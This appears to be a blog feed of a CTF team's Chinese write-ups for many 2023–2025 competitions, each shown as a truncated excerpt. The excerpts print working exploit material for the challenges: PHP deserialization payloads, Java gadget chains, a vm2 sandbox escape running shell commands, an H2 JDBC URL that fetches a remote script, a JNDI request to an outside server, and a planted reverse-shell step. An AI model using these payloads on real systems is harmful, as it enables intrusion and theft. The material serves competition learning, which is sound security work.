W&M Team - Write - Up
type: channel
link: https://blog.wm-team.cn/index.php/category/wp/
items: 强网杯2025 By W&M
items: WMCTF2025 Official WriteUp
items: 强网杯 2024 By W&M
items: 强网拟态 2024 By W&M
items: SCTF 2024 By W&M
items: ByteCTF 2024 By W&M
items: WMCTF 2024 WriteUp
items: N1CTF 2024 By W&M
items: RCTF 2024 By W&M
items: D^3CTF 2024 By W&M
items: AliYunCTF By W&M x V&N
items: DubheCTF 2024 By W&M
items: L3HCTF 2024 By W&M
items: 强网杯 2023 By W&M
items: 强网拟态2023 By W&M
items: ACTF 2023 By W&M

强网杯2025 By W&M
type: item
date: 2025-11-05T10:17:00+00:00
description: Web SecretVault ezphp bbjv Yamcs 日志系统 PWN flag-market sockserver Bph REVERSE tradre Buttferfly MISC 谍影重重6.0 Personal Vault The_Interrogation_Room Qcalc cpc legacyOLED 问卷调查 签到 CRYPTO Blurred check-little sk ezran Web SecretVault 梳理一下每个功能都做了啥： 启动：新建用户admin，uid为0。新建flag这个VaultEntry，user_id是admin的id。VaultEntry采用Fernet加密存到库中 注册：把user的密码哈希和盐存到数据库里 登录：比对密码哈希，如果对上了，则访问内网sign服务，参数为uid，生成一个token。但是这个token是给go鉴权的，go验完之后就用不上了，而给python鉴权的是X-User这个头 dashboard：展示所有与当前user关联的VaultEntry 思路： 看看能不能绕过反向代理，直接从外面访问/sign，生成uid为0的token。看解出速度挺快的，估计就是这样，不会太复杂 访问python服务的时候想办法把X-User: 0带进去 原理是这样 https://blog.csdn.net/2404_88048702/article/details/142996006 如果带一个Connection: close, X-User, 那么后续 req.Header.Set("X-User", "anonymous") 设置的X-User就不会被转发了 ezphp 查看phpinfo ?land=O:4:"test":2:{s:1:"f";s:7:"phpinfo";s:3:"key";s:4:"func";} disable_functions call_user_func_array,call_user_func,create_function,ob_start,passthru,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv, 这样能触发文件上传 O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:4:"test";s:3:"key";s:5:"class";} 现在看怎么触发匿名类的readflag的readflag。参考链接：https://www.leavesongs.com/PENETRATION/php-challenge-2023-oct.html 测试代码如下，直接写在解码后的文件里面。 $test = "%00readflag/var/www/html/index.php:61$1"; $test=urldecode($test); $test(); 然后在readflag的readflag里面加一个输出，测试是否被调用到： 按照p牛的文章打断点 key的值对上了 成功调用内层函数 注意后续的函数名由于计数器会变化，所以打完一次之后就要手动修改函数名，或者重启一次服务，否则就报错：Uncaught Error: Call to undefined function () 还有一个注意点，就是题目的代码是包裹在eval里面运行的，包裹在eval里的代码有一个单独的文件名： /var/www/html/index.php(1) : eval()\'d code 所以要调用函数实际上要这样调用： \0readflag/var/www/html/index.php(1) : eval()\'d code:1$1 …

WMCTF2025 Official WriteUp
type: item
date: 2025-09-26T07:14:00+00:00
description: Web pdf2text guess safeline Ezparquet Rustdesk笑传之change client backend Pwn wm_easyker 漏洞 wm_easynetlink wm_easynetlink wm_eat_some_qanux PaluSimulator Compile 分析 解题 Aberration Solution Outline wmkpf Crypto SplitMaster IShowSplit LemonPepper LW3 overview method 1 method 2 stage 1 stage 2 stage 3 LW5 Reverse Want2BecomeMagicalGirl catfriend appfriend VideoPlayer 反调试处理+VMP脱壳Dump 法1：TitanHide过反调试 法2：CheatEngine Veh Debugger 寻找OEP 主流程分析 Misc Shopping company & phishing email Voice_hacker GitHacker Web pdf2text pdfminer 这个库内部使用了pickle.loads 询问一下copilot该如何触发 CMapDB 的 _load_data 方法 给出的 poc.pdf 如下 %PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >> endobj 4 0 obj << /Length 44 >> stream BT /F1 24 Tf 1 0 0 1 100 700 Tm <0015> Tj ET endstream endobj 5 0 obj << /Type /Font /Subtype /Type0 /BaseFont /AdobeSongStd-Light /Encoding /Adobe-GB1-0 /DescendantFonts [6 0 R] >> endobj 6 0 obj << /Type /Font /Subtype /CIDFontType0 /BaseFont /AdobeSongStd-Light /CIDSystemInfo << /Registry (Adobe) /Ordering (GB1) /Supplement 0 >> >> endobj xref 0 7 0000000000 65535 f 0000000010 00000 n 0000000060 00000 n 0000000117 00000 n 0000000302 00000 n 0000000372 00000 n 0000000484 00000 n trailer << /Root 1 0 R /Size 7 >> startxref 582 %%EOF 使用代码验证： poc.py from pdfminer.high_level import extract_text text = extract_text('poc.pdf') print(text) 打断点，确实调用了 此时的调用栈 现在已经能够进入 _load_data 方法了，接下来看看如何控制pickle文件的路径。 默认情况下，文件路径有2个：环境变量 CMAP_PATH 表示的路径，和/usr/share/pdfminer/ 题目没有给 CMAP_PATH 环境变量，且/usr/share/pdfminer/不可写，所以这两个路径都不能用，需要进行路径穿越。 自然想到把上述poc.pdf中的 /Encoding 改成下面这样 /Encoding /../../../../../../../../../../../../../../../../../../evil 但是点号和斜杠不会被当做字符串，需要进行16进制或者8进制编码一下： /Encoding /#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2fapp#2fa 得到的poc.pdf 再次进行验证，可以成功穿越： 现在回到题目，梳理一下思路： 上传一个 gzip 压缩过的 pickle 序列化文件 上传一个使用 CMapDB 加载序列化…

强网杯 2024 By W&M
type: item
date: 2024-11-05T15:32:00+00:00
description: WEB - 7 Password Game Proxy platform EzCalc snake Xiaohuanxiong PyBlockly PWN - 3 chat_with_me expect_number baby_heap REVERSE - 2 mips boxx MISC - 8 谍影重重 Master of DFIR - Phishing Master of DFIR - Coffee pickle_jail givemesecret CRYPTO - 4 21_steps apbq traditional_game EasyRSA WEB - 7 Password Game 前面通过游戏，不同session，要求不一样 这里"3650"是算式的解，后面的8加上，为了满足倍数。 password="3650"Ac8 注意得用双引号括起来，3650Ac8不行 发过去就能出现下面的代码 function filter($password){ $filter_arr = array("admin","2024qwb"); $filter = '/'.implode("|",$filter_arr).'/i'; return preg_replace($filter,"nonono",$password); } class guest{ public $username; public $value; public function __tostring(){ if($this->username=="guest"){ $value(); } return $this->username; } public function __call($key,$value){ if($this->username==md5($GLOBALS["flag"])){ echo $GLOBALS["flag"]; } } } class root{ public $username; public $value; public function __get($key){ if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){ $this->value = $GLOBALS["flag"]; echo md5("hello:".$this->value); } } } class user{ public $username; public $password; public $value; public function __invoke(){ $this->username=md5($GLOBALS["flag"]); return $this->password->guess(); } public function __destruct(){ if(strpos($this->username, "admin") == 0 ){ echo "hello".$this->username; } } } $user=unserialize(filter($_POST["password"])); if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){ echo "hello!"; } 思路：令user对象的username指向root的value 先使用$user->password触发root的__get，这样root对象的value就是flag 然后user对象的__destruct输出username，就能输出flag。 现在的问题是payload超长了 strpos($this->username, "admin") == 0 false也==0 admin和其它null的属性可以删了省长度 Proxy 照着json构造一个post到/v1/api/flag就行了 platform <?php class notouchitsclass { public $data; public function __construct($data) { $this->data = $data; } public function __destruct() { eval($this->data); } } class SessionRandom { public function generateRandomString() { $length = rand(1, 50); $characters = '0123456789abcdefghijklmnop…

强网拟态 2024 By W&M
type: item
date: 2024-10-20T09:39:30+00:00
description: WEB OnlineRunner ez_pickle Spreader capoo REVERSE Serv1ce A_game babyre Misc ezflag Find way to read video Pvz Streaming Input Page Walk PWN signin signin_revenge QWEN ezcode gruess_book Crypto xor WEB OnlineRunner // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package ezSandbox.controller; import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.io.PrintStream; import java.io.StringWriter; import java.net.URI; import java.nio.charset.Charset; import java.util.Collections; import java.util.HashMap; import java.util.Locale; import java.util.Map; import javax.tools.DiagnosticListener; import javax.tools.FileObject; import javax.tools.ForwardingJavaFileManager; import javax.tools.JavaCompiler; import javax.tools.JavaFileManager; import javax.tools.JavaFileObject; import javax.tools.SimpleJavaFileObject; import javax.tools.ToolProvider; import javax.tools.JavaFileObject.Kind; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class MainController { public MainController() { } @GetMapping({"/"}) public String index() { return "redirect:/index.html"; } @PostMapping({"/execute"}) @ResponseBody public String executeCode(@RequestBody String code) { return this.runJavaCode(code); } private String runJavaCode(String code) { String className = "Main"; String fullCode = "public class " + className + " { public static void main(String[] args) { " + code + " } }"; try { JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); JavaFileObject file = new InMemoryJavaFileObject(className, fullCode); Iterable<? extends JavaFileObject> compilationUnits = Collections.singletonList(file); StringWriter output = new StringWriter(); InMemoryJavaFileManage…

SCTF 2024 By W&M
type: item
date: 2024-10-01T01:00:00+00:00
description: WEB SycServer2.0 havefun ezRender Simpleshop ezjump ez_tex Reverse BBox logindemo ez_cython Pwn c_or_go GoComplier Factory kno_puts kno_puts_revenge vmCode Crypto Signin 不完全阻塞干扰 Whisper LinearARTs MISC FixIt easyMCU steal staking 速来探索SCTF星球隐藏的秘密 TerraWor musicMaster WEB SycServer2.0 JSEncrypt js里的waf改掉 然后直接'or'1登录 ---- Scanning URL: http://1.95.87.154:35200/ ---- + http://1.95.87.154:35200/config (CODE:200|SIZE:292) + http://1.95.87.154:35200/css (CODE:301|SIZE:153) + http://1.95.87.154:35200/hello (CODE:403|SIZE:31) + http://1.95.87.154:35200/img (CODE:301|SIZE:153) + http://1.95.87.154:35200/index.html (CODE:200|SIZE:4775) + http://1.95.87.154:35200/report (CODE:403|SIZE:31) + http://1.95.87.154:35200/robots.txt (CODE:200|SIZE:64) User-agent: * Disallow: Disallow: /ExP0rtApi?v=static&f=1.jpeg http://1.95.87.154:35200/ExP0rtApi?v=.&f=app.js 导出的东西gzip了 const express = require('express'); const fs = require('fs'); var nodeRsa = require('node-rsa'); const bodyParser = require('body-parser'); const jwt = require('jsonwebtoken'); const crypto = require('crypto'); const SECRET_KEY = crypto.randomBytes(16).toString('hex'); const path = require('path'); const zlib = require('zlib'); const mysql = require('mysql') const handle = require('./handle'); const cp = require('child_process'); const cookieParser = require('cookie-parser'); const con = mysql.createConnection({ host: 'localhost', user: 'ctf', password: 'ctf123123', port: '3306', database: 'sctf' }) con.connect((err) => { if (err) { console.error('Error connecting to MySQL:', err.message); setTimeout(con.connect(), 2000); // 2秒后重试连接 } else { console.log('Connected to MySQL'); } }); const {response} = require("express"); const req = require("express/lib/request"); var key = new nodeRsa({ b: 1024 }); key.setOptions({ encryptionScheme: 'pkcs1' }); var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\…

ByteCTF 2024 By W&M
type: item
date: 2024-09-23T01:37:00+00:00
description: WEB ezauth ezobj OnlyBypassMe CrossVue ezoldbuddy PWN ezheap Reverse babyApk ByteKit Bytebuffer Crypto magic_lfsr MISC ByteInTheAir Bash Game Guess Cookie AI What I say Ezai Mobile 极限逃脱 WEB ezauth CVE-2023-48703 https://securitylab.github.com/advisories/GHSL-2023-121_go-saml__archived_/ 把他项目拉下来 然后注意到 The version 1.3.3 of xmlsec1 released in January 2024 disables KeyValue and DEREncodedKeyValue XML nodes by default. However, most Linux distributions ship older versions of xmlsec1 and specifying the enabled-key-data is recommended in any case. 大概就是KeyValue / DEREncodedKeyValue 导致公钥非本地而是远程发来的 试了下DEREncodedKeyValue不对 可能是我证书格式的问题 所以用了KeyValue 项目魔改下type.go && authresponse.go(NewSignedResponse()) func TestResponse(t *testing.T) { assert := assert.New(t) cert, err := util.LoadCertificate("./default.crt") assert.NoError(err) // Construct an AuthnRequest response := NewSignedResponse() response.Assertion.Subject.SubjectConfirmation.SubjectConfirmationData.Recipient = "http://localhost:8000/saml_consume" response.Destination = "http://localhost:8000/saml_consume" response.Issuer.SAML = "http://idp/saml2" response.Assertion.Issuer.SAML = "http://idp/saml2" response.Signature.KeyInfo.X509Data.X509Certificate.Cert = cert response.Signature.KeyInfo.KeyValue.Value = cert response.Assertion.AttributeStatement.Attributes = append(response.Assertion.AttributeStatement.Attributes, Attribute{}) response.AddAttribute("uid", "test") b, err := xml.MarshalIndent(response, "", " ") assert.NoError(err) xmlResponse := string(b) signedXml, err := SignResponse(xmlResponse, "./default.key") assert.NoError(err) assert.NotEmpty(signedXml) fmt.Print(signedXml) // fmt.Println('\n') sEnc := b64.StdEncoding.EncodeToString([]byte(signedXml)) fmt.Println(sEnc) err = VerifyRequestSignature(signedXml, "./frntn-x509-san.crt") fmt.Println() fmt.Println() fmt.Println() assert.NoError(err) } 返回值 { "code": "LBGH78tO5r", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjc1MDkzMjIsImlzcyI6ImJ5dGVjdGYiL…

WMCTF 2024 WriteUp
type: item
date: 2024-09-11T12:34:00+00:00
description: WEB PasswdStealer 前言 SpringBoot场景下的利用 step1 触发超时 step2 进入循环 step3 泄露回显 最终利用 EzQl 解法一 解法二 Jvm-go YourWA 信息收集 文件读取 利用 Spectre XSS 实现 XSS 之后：原型链污染（非预期） XSS 之后：SharedArrayBuffer 那些事 PWN BlindVM evm magicpp babysigin MISC Party Time metasecret easy num steg_allInOne test_your_nc 3 give your shell 问2: 问3 CRYPTO RSA Turing Matrix3 恢复展平后的A 恢复顺序 k_cessation FACRT C O N N E C T 1 0 N REVERSE easyAndroid ez_learn Rustdroid re1 BLOCKCHAIN claim-guard Simulated block won't be identical to real block Race with the bot Outbid bot's registerBlock WEB PasswdStealer 前言 本来题目叫PasswdStealer的：） 考点就是CVE-2024-21733在SpringBoot场景下的利用。 漏洞基本原理参考 https://mp.weixin.qq.com/s?__biz=Mzg2MDY2ODc5MA==&mid=2247484002&idx=1&sn=7936818b93f2d9a656d8ed48843272c0 不再赘述。 SpringBoot场景下的利用 前文的分析得知，该漏洞在tomcat环境下的利用需要一定的条件 触发一个超时错误，让reset()无法正常调用 触发server()中循环处理的逻辑，让tomcat一次处理多个请求内容 回显获取泄露的敏感数据 下面在裸SpringBoot场景下寻找利用方法。 测试环境：SpringBoot v2.6.13 ，tomcat替换为漏洞版本 9.0.43 ，不添加任何路由控制器。 step1 触发超时 目的是让read() 抛出 IOException 跳过reset()，造成limit错位。 使用上文分析时的Poc，CL大于实际值的POST包 秒返回，并没有跑出异常，这是因为aaa路由不存在，POST data并没有被tomcat处理。 这里需要寻找一个让 可以处理POST data的请求。 这里使用 multipart/form-data 上传数据。 成功触发了timeout超时 step2 进入循环 接下来尝试满足条件2，让请求在超时后仍然进入 Http11Processor.java#service()中的循环，debug跟进后发现这样已经不满足条件了 keepAlive变成了false，向上回溯调用栈，寻找原因， 若果statusCode在StatusDropsConnection里面，则会将keepAlive置为false 继续回溯，寻找将statusCode设置为500的地方 ， 跟上去，发现是 ServletException 触发了它 继续跟上去，最终发现是我们触发的IOException被包成了FileUploadException 而这里的IOException其实是discardBodyData的时候跑出的，由于没有被catch，所以直接抛到了上层。 至此我们先搞清楚了产生500的原因，下面寻找如何让请求不产生500，也就是在让discardBodyData()不抛出IOException, 但仍然能造成超时的方法。 首先使用一个正常的multipart包测试， 这里补充一下boundary的标准 假设 Content-Type中设置boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW， 那么------WebKitFormBoundary7MA4YWxkTrZu0gW 代表一个部分的开头（前面加两个--） ------WebKitFormBoundary7MA4YWxkTrZu0gW-- 代表表单结束 （前面后面都加两个--） 这里构造一个有头有尾的multipart上传包 我们发现他可以走到readBoundDary()中 继续跟进readBoundDary()，根据上面讲的boundary的标准可以看出来，marker[0] = readByte();是在读最后两位--或者CLRF，也就是boundary的结束符号。 但是如果我们设置为请求包为这样，也就是没有boundary结束标…

N1CTF 2024 By W&M
type: item
date: 2024-05-28T03:36:43+00:00
description: WEB ezjava LDAP PWN mazecodev1 我一直win MISC flag_video_version Reverse Hot-Soup WEB ezjava admin/admin 正常登录 访问source 提示不是jsrc用户，猜了一下 jsrc是 jwt key 就没有然后了 暂时无法在飞书文档外展示此内容 反序列化 黑名单如下 // 弱黑名单 通过bytes比较 java.util.HashMap com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl com.alibaba.fastjson.JSONArrayLlist javax.management.BadAttributeValueExpException com.sun.syndication.feed.impl.ToStringBean java.security.SignedObject com.sun.rowset.JdbcRowSetImpl 弱黑名单可以用utf-8-overlong直接绕过，墙黑名单ban了和没ban一样的，没啥区别，直接打jackson的pojonode就行了。exp如下 package com.javasec.pocs.jackson; import com.alibaba.fastjson.JSONObject; import com.fasterxml.jackson.databind.node.POJONode; import com.javasec.utils.SerializeUtils; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.target.HotSwappableTargetSource; import javax.sql.DataSource; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Base64; import java.util.HashMap; /** * newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) * getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) * invoke0:-1, NativeMethodAccessorImpl (sun.reflect) * invoke:62, NativeMethodAccessorImpl (sun.reflect) * invoke:43, DelegatingMethodAccessorImpl (sun.reflect) * invoke:497, Method (java.lang.reflect) * serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser) * serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) * serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser) * defaultSerializeValue:1148, SerializerProvider (com.fasterxml.jackson.databind) * serialize:115, POJONode (com.fasterx…

RCTF 2024 By W&M
type: item
date: 2024-05-28T03:34:33+00:00
description: WEB JAVA Color Proxy PWN Mine Reverse bloker_vm Misc Logo: Signin Logo: 2024 s1ayth3sp1re FindAHacker EzLogin sec-image gogogo Crypto Hello, XCTF! D3 Mersenne WEB JAVA 这一题考的是 new InitialDirContext(properties)).search该如何去触发Jndi。这一题指定post传入json，指定searchBase和filter。 POST /index HTTP/1.1 Host: localhost:8899 sec-ch-ua-platform: "macOS" Pragma: no-cache sec-ch-ua-mobile: ?0 Cache-Control: no-cache Accept-Encoding: gzip, deflate, br, zstd Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Accept-Language: zh-CN,zh;q=0.9 Cookie: Goland-5df45c20=acaad4c4-6ed5-4e7f-a2f0-891765d48e30; Phpstorm-b9a68abe=849deb9b-548a-4ca8-8d65-7c13b6503159; Idea-44fa379b=c955cda9-e124-4dce-a7f3-1dc2bff3d8ba sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24" Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Sec-Fetch-Dest: document Content-Type: application/json {"searchBase":"dc\u003Dexample,dc\u003Dcom","filter":"ObjectClass\u003D123","ip":"8.130.24.188","port":8088} 其实ldap的search就是lookup的另一个版本，他们都是进行筛选，只不过lookup是直接在url里筛选，search是另外启2个参数。在调试流程不难发现下述过程 我们会进入p_search方法内部，进而进入p_resolveIntermediate 假如我们进入c_resolveIntermediate_nns 那么就会进入c_lookup请求，进入c_lookup请求后 你就会看见熟悉的decodeObject了。这里可以进行反序列化。 而我们想进入c_resolveIntermediate_nns也很简单，Head或者Tail不为空即可，我们随便给searchBase加上个前缀。 最终进行反序列化了，然后就使用POJONODE打一个RCE的gadget就行。 import java.net.*; import java.text.ParseException; import java.util.Base64; import javax.naming.Reference; import javax.naming.StringRefAddr; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listene…

D^3CTF 2024 By W&M
type: item
date: 2024-04-29T13:10:00+00:00
description: WEB MoonBox stack_overflow Doctor d3pythonhttp Misc O!!!SPF!!!!!! Enhanced Baldur's Gate 3 Complete Spell List IOV D3_car 1 D3 car 2 D3 car 3 Pwn PwnShell Exp Write flag where D3BabyEscape d3note Exp Crypto d3matrix2 S0DH sym_signin Reverse RandomVM ezjunk forest WEB MoonBox getRemoteAgentStartCommand 通过ps -ef和上面的分析不难发现，运行流量录制实际上是在远程服务器ssh执行了 bash -c 'curl -o sandboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadSandBoxZipFile && curl -o moonboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadMoonBoxZipFile && rm -fr ~/sandbox && rm -fr ~/.sandbox-module && tar -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar && sh ~/.sandbox-module/bin/start-remote-agent.sh moon-box-web rc_id_df0dab78e4bbd2603a1b4e4e45cd0d08%26http%3A%2F%2F127.0.0.1%3A8080%26OFF%26OFF' 所以替换moonbox里面的start-remote-agent.sh脚本就可以在远程服务器上进行rce。 Dockerfile里给出了root用户默认密码 root:123456，通过docker机器名moonbox-server可以访问内网的docker-moonbox-server容器，刚好这台容器有sshd，有root默认密码，并且有flag。 新建 ".sandbox-module\bin\start-remote-agent.sh" 写#!/bin/sh 反弹shell代码 新建 "sandbox\bin\sandbox.sh" 写 #!/bin/sh （否则dos2unix报错） 给可执行权限 tar -zcf moonbox.tar .sandbox-module tar -zcf sandbox.tar sandbox 两个文件一起上传，运行流量录制 hostIp=moonbox-server 22 root 123456即可。 暂时无法在飞书文档外展示此内容 暂时无法在飞书文档外展示此内容 stack_overflow 注意到传入的参数可以是数组 如果args数组长度为1则不受join影响 据此可以闭合 js 代码，逃逸vm沙箱并执行系统命令 {"stdin":["');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //"]} 返回结果如下 {"stdout":["Starting Conversion...","Your input is:","');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //","0","0","0","0","...","Ascii is:","d3ctf{43015f82fa648d2a60985b0b46f5739…

AliYunCTF By W&M x V&N
type: item
date: 2024-03-26T01:42:00+00:00
description: WEB easyCAS chain17 agent Server Pastebin web签到 PWN pwn签到 netatalk Reverse 欧拉 MISC 字 帕鲁情绪管理 alibus Crypto 又双叒叕 WEB easyCAS log4j chain17 agent java17 看了一下题目，首先是个hessian入口，题目给了一个自定义bean 存在hutools依赖，可以触发任意getter，触发点可以配合入口的Hessian实现。Hessian反序列化过程中会调用map.put，触发getter有几个条件，hutools是以属性为基准的 属性存在 属性对于的getter存在 非jdk原生类（java.、javax） 题目给的h2肯定是有用的，具体用法应该是找到一个getter触发jdbc。 根据提示 找个触发jdbc的地方 JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> PooledDSFactory.getDataSource 因为hessian序列化的时候 instance导致属性丢失，所以setting反射进去 package org.example; import cn.hutool.db.ds.pooled.PooledDSFactory; import cn.hutool.db.ds.pooled.PooledDataSource; import cn.hutool.json.JSONObject; import cn.hutool.setting.GroupedMap; import cn.hutool.setting.Setting; import com.alibaba.com.caucho.hessian.io.Hessian2Input; import com.alibaba.com.caucho.hessian.io.Hessian2Output; import com.alibaba.com.caucho.hessian.io.SerializerFactory; import com.aliyunctf.agent.other.Bean; import com.fasterxml.jackson.databind.node.POJONode; import java.io.*; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; import java.util.concurrent.atomic.AtomicReference; public class Main { public static void main(String[] args) throws Exception { String url="jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'"; PooledDSFactory pooledDSFactory = (PooledDSFactory) SerializeUtils.createWithoutConstructor(PooledDSFactory.class.getName()); Setting setting = new Setting(); setting.setCharset(null); setting.set("url",url); SerializeUtils.setFieldValue(pooledDSFactory,"setting",setting); HashMap<Object, Object> dsmap = new HashMap<>(); dsmap.put("",null); SerializeUtils.setFieldValue(pooledDSFactory,"dsMap",dsmap); Bean bean = new Bean(); ByteArrayOutputStream baos2 = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos2); oos.writeObject(pooledDSFactory); oos.close(); bean.setData(baos2.toByteArray()); POJONode jso…

DubheCTF 2024 By W&M
type: item
date: 2024-03-18T16:18:00+00:00
description: WEB Wecat VulnTagger Master of Profile Javolution PWN BuggyAllocator daydream ToySMM Ggbond Reverse Destination VMT Fffragment 脚本方案 手撕方案 ezVK MISC ezPythonCheckin authenticated mess & unauthenticated less cipher no more taowa Blockchain Ezswap DubheCalc CRYPTO ezcrc MDH 我们夺冠啦 WEB Wecat 开环境的脚本 import hashlib import string import itertools from pwn import remote def proof_of_work(nonce, difficulty, salt_charset=string.ascii_letters + string.digits): nonce_byte = nonce.encode() expected_prefix = "0" * difficulty for salt in itertools.chain.from_iterable( map(bytes, itertools.product(salt_charset.encode(), repeat=i)) for i in itertools.count(1) ): if hashlib.sha256(nonce_byte + salt).hexdigest().startswith(expected_prefix): return salt raise ValueError("No solution found") r = remote("1.95.54.149", 1337) welcome_msg = r.recvuntil(b"== True").decode() print(welcome_msg) nonce = welcome_msg.split("'")[1] difficulty = 5 salt = proof_of_work(nonce, difficulty) print(f"Salt: {salt.decode()}") r.sendline(salt) print("Entering interactive mode...") r.interactive() 题目用的是nodemon热部署，注册并登录后配合/wechatAPI/upload/once文件上传+路径穿越动态添加一个端点 ------WebKitFormBoundaryO3qB3opqaTtCt60e Content-Disposition: form-data; name="file"; filename="getflag.js" Content-Type: image/png const router = require('@koa/router')() const child_process = require('child_process') router.get('/wechatAPI/getflag', (ctx) => { var flag = child_process.execFileSync("/readflag").toString() ctx.status = 200 ctx.body = { msg: flag } }) module.exports = router.routes() ------WebKitFormBoundaryO3qB3opqaTtCt60e Content-Disposition: form-data; name="name" getflag.js ------WebKitFormBoundaryO3qB3opqaTtCt60e Content-Disposition: form-data; name="hash" /. ------WebKitFormBoundaryO3qB3opqaTtCt60e Content-Disposition: form-data; name="postfix" /../src/route/getflag.js ------WebKitFormBoundaryO3qB3opqaTtCt60e-- ------WebKitFormBoundaryO3qB3opqaTtCt60e Content-Disposition: form-data; name="file"; filename="router.js" Content-Type: im…

L3HCTF 2024 By W&M
type: item
date: 2024-02-07T18:08:10+00:00
description: WEB intractable problem Interactable problem revenge Escape web Java Misc Checkin RAWaterMark escape-2 end_of_programming Crypto babySPN Reverse ez_rust babycom hhhc re思路：逆向固件得到密码加密算法 misc思路：路由器导入配置并抓包pap明文密码 WEB intractable problem def factorization(n: string) -> tuple[int]: ''' import re print_regex=r'print\("([a-z]+!)",end=""\)' self_file=open(__file__,"r") self_content=self_file.read() self_file.close() print_match=re.findall(print_regex,self_content) print(print_match[0],end="") ''' Interactable problem revenge def factorization(n): def my_generator(): yield gen.gi_frame.f_back.f_back.f_back gen = my_generator() for item in gen: frame = item frame.f_globals["_"+"_builtins_"+"_"].setattr(frame.f_globals["_"+"_builtins_"+"_"],'int',lambda x:123456 if x==123456 else 15241383936) return (123456,123456) Escape web vm2 https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9 命令执行重定向到stderr回显 async function fn() { (function stack() { new Error().stack; stack(); })(); } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls / >&2'); } ) } } }; p.then(); 在docker里 // index.js var fs = require("fs"); var { NodeVM } = require_vm2(); var code = fs.readFileSync("/app/code.js", "utf8"); var vm = new NodeVM({ timeout: 1e3, console: "redirect" }); vm.on("console.log", (data) => { console.log(data); }); vm.on("console.error", (data) => { console.log(data); }); vm.run(code); /app/output.txt是stdout输出文件 删除然后软链接/app/output.txt到/flag 在宿主机上读输出文件会读到flag Java 参数和路由全URL编码即可.http://127.0.0.1/url编码?url编码=file:///flag Misc Checkin L3HCTF{w3LC0m3_70_L3Hc7F} RAWaterMark import rawpy import imageio path = 'image.ARW' with rawpy.imread(path) as raw: for i in (raw.raw_image % 256)[0]: print(i % 2, end="") 